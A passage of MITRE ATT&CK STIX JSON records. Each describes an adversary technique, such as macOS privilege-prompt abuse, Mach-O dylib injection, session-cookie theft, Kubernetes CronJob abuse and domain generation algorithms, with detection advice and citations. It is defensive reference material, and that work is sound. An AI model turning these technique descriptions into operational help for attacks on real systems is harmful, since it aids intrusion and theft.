"https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8", "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019."}, {"source_name": "Carbon Black Shlayer Feb 2019", "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/", "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019."}, {"source_name": "OSX Coldroot RAT", "url": "https://objective-see.com/blog/blog_0x2A.html", "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019."}], "modified": "2020-02-05T20:13:51.857Z", "name": "Elevated Execution with Prompt", "description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating.  This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Consider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "User"], "x_mitre_effective_permissions": ["root"], "x_mitre_is_subtechnique": false}, {"modified": "2024-01-23T22:53:18.389Z", "name": "Audio Capture", "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.(Citation: ESET Attor Oct 2019)\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_deprecated": false, "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Process: OS API Execution", "Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", "created": "2017-05-31T21:31:34.528Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1123", "external_id": "T1123"}, {"source_name": "ESET Attor Oct 2019", "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-02-15T14:14:03.942Z", "name": "Create or Modify System Process", "description": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.  \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection)  ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.  \n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. \n\nMonitor for changes to files associated with system-level processes.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "macOS", "Linux", "Containers"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Service: Service Creation", "Container: Container Creation", "Driver: Driver Load", "Service: Service Modification", "Process: Process Creation", "Windows Registry: Windows Registry Key Modification", "File: File Modification", "File: File Creation", "Windows Registry: Windows Registry Key Creation", "Process: OS API Execution", "Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", "created": "2020-01-10T16:03:18.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1543", "external_id": "T1543"}, {"source_name": "AppleDocs Launch Agent Daemons", "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"}, {"source_name": "TechNet Services", "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.", "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx"}, {"source_name": "OSX Malware Detection", "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.", "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:36.318Z", "name": "External Remote Services", "description": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_contributors": ["ExtraHop", "David Fiser, @anu4is, Trend Micro", "Alfredo Oliveira, Trend Micro", "Idan Frimark, Cisco", "Rory McCune, Aqua Security", "Yuval Avrahami, Palo Alto Networks", "Jay Chen, Palo Alto Networks", "Brad Geesaman, @bradgeesaman", "Magno Logan, @magnologan, Trend Micro", "Ariel Shuper, Cisco", "Yossi Weizman, Azure Defender Research Team", "Vishwas Manral, McAfee", "Daniel Oakley", "Travis Smith, Tripwire", "David Tayouri"], "x_mitre_deprecated": false, "x_mitre_detection": "Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nWhen authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows", "Linux", "Containers", "macOS"], "x_mitre_version": "2.4", "x_mitre_data_sources": ["Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Flow", "Logon Session: Logon Session Metadata", "Application Log: Application Log Content", "Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "created": "2017-05-31T21:31:44.421Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1133", "external_id": "T1133"}, {"source_name": "Volexity Virtual Private Keylogging", "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.", "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"}, {"source_name": "MacOS VNC software for Remote Desktop", "description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.", "url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac"}, {"source_name": "Unit 42 Hildegard Malware", "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.", "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"}, {"source_name": "Trend Micro Exposed Docker Server", "description": "Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.", "url": "https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44", "type": "attack-pattern", "created": "2017-05-31T21:31:22.374Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1109", "url": "https://attack.mitre.org/techniques/T1109"}, {"description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.", "source_name": "SanDisk SMART"}, {"url": "https://www.smartmontools.org/", "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.", "source_name": "SmartMontools"}, {"url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html", "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.", "source_name": "ITWorld Hard Disk Health Dec 2014"}], "modified": "2020-10-23T15:04:14.614Z", "name": "Component Firmware", "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["File monitoring", "Host intrusion prevention systems", "Anti-virus"], "x_mitre_permissions_required": ["SYSTEM"], "x_mitre_system_requirements": ["Ability to update component device firmware from the host operating system."], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847", "created": "2020-01-24T14:21:52.750Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1546.006", "url": "https://attack.mitre.org/techniques/T1546/006"}, {"source_name": "Malware Persistence on OS X", "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017."}, {"source_name": "Writing Bad Malware for OSX", "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X)", "modified": "2022-04-20T17:08:21.101Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "LC_LOAD_DYLIB Addition", "x_mitre_detection": "Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Command: Command Execution", "File: File Metadata", "Process: Process Creation", "File: File Modification", "Module: Module Load"], "x_mitre_permissions_required": ["User"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-16T12:56:56.861Z", "name": "Steal Web Session Cookie", "description": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on [User Execution](https://attack.mitre.org/techniques/T1204) by tricking victims into running malicious JavaScript in their browser.(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\n\nThere are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Microsoft Threat Intelligence Center (MSTIC)", "Johann Rehberger", "Goldstein Menachem"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Office 365", "SaaS", "Google Workspace"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Process: Process Access", "File: File Access"], "type": "attack-pattern", "id": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", "created": "2019-10-08T20:04:35.508Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1539", "external_id": "T1539"}, {"source_name": "Krebs Discord Bookmarks 2023", "description": "Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024.", "url": "https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/"}, {"source_name": "Unit 42 Mac Crypto Cookies January 2019", "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"}, {"source_name": "Kaspersky TajMahal April 2019", "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019.", "url": "https://securelist.com/project-tajmahal/90240/"}, {"source_name": "Github evilginx2", "description": "Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.", "url": "https://github.com/kgretzky/evilginx2"}, {"source_name": "GitHub Mauraena", "description": "Orr\u00f9, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019.", "url": "https://github.com/muraenateam/muraena"}, {"source_name": "Pass The Cookie", "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"}, {"source_name": "Talos Roblox Scam 2023", "description": "Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game \u201cRoblox\u201d. Retrieved January 2, 2024.", "url": "https://blog.talosintelligence.com/roblox-scam-overview/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-15T16:23:05.392Z", "name": "Container Orchestration Job", "description": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Center for Threat-Informed Defense (CTID)", "Vishwas Manral, McAfee", "Yossi Weizman, Azure Defender Research Team"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Containers"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["File: File Creation", "Container: Container Creation", "Scheduled Job: Scheduled Job Creation"], "x_mitre_permissions_required": ["User"], "x_mitre_remote_support": true, "type": "attack-pattern", "id": "attack-pattern--1126cab1-c700-412f-a510-61f4937bb096", "created": "2021-03-29T17:06:22.247Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1053/007", "external_id": "T1053.007"}, {"source_name": "Kubernetes CronJob", "description": "The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021.", "url": "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/"}, {"source_name": "Kubernetes Jobs", "description": "The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021.", "url": "https://kubernetes.io/docs/concepts/workloads/controllers/job/"}, {"source_name": "Threat Matrix for Kubernetes", "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.", "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Ryan Benson, Exabeam", "Barry Shteiman, Exabeam", "Sylvain Gil, Exabeam"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", "type": "attack-pattern", "created": "2020-03-10T17:44:59.787Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1568.002", "url": "https://attack.mitre.org/techniques/T1568/002"}, {"source_name": "Cybereason Dissecting DGAs", "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf", "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019."}, {"source_name": "Cisco Umbrella DGA", "url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/", "description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019."}, {"source_name": "Unit 42 DGA Feb 2019", "url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/", "description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019."}, {"url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html", "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", "source_name": "Talos CCleanup 2017"}, {"source_name": "Akamai DGA Mitigation", "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html", "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019."}, {"url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html", "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", "source_name": "FireEye POSHSPY April 2017"}, {"source_name": "ESET Sednit 2017 Activity", "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/", "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019."}, {"source_name": "Data Driven Security DGA", "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/", "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019."}, {"source_name": "Pace University Detecting DGA May 2017", "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf", "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019."}, {"source_name": "Elastic Predicting DGA", "url": "https://arxiv.org/pdf/1611.00791.pdf", "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019."}], "modified": "2022-03-11T18:26:23.432Z", "name": "Domain Generation Algorithms", "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e", "type": "attack-pattern", "created": "2021-08-04T20:54:03.066Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1036.007", "url": "https://attack.mitre.org/techniques/T1036/007"}, {"source_name": "PCMag DoubleExtension", "url": "https://www.pcmag.com/encyclopedia/term/double-extension", "description": "PCMag. (n.d.). Encyclopedia: double extension. Retrieved 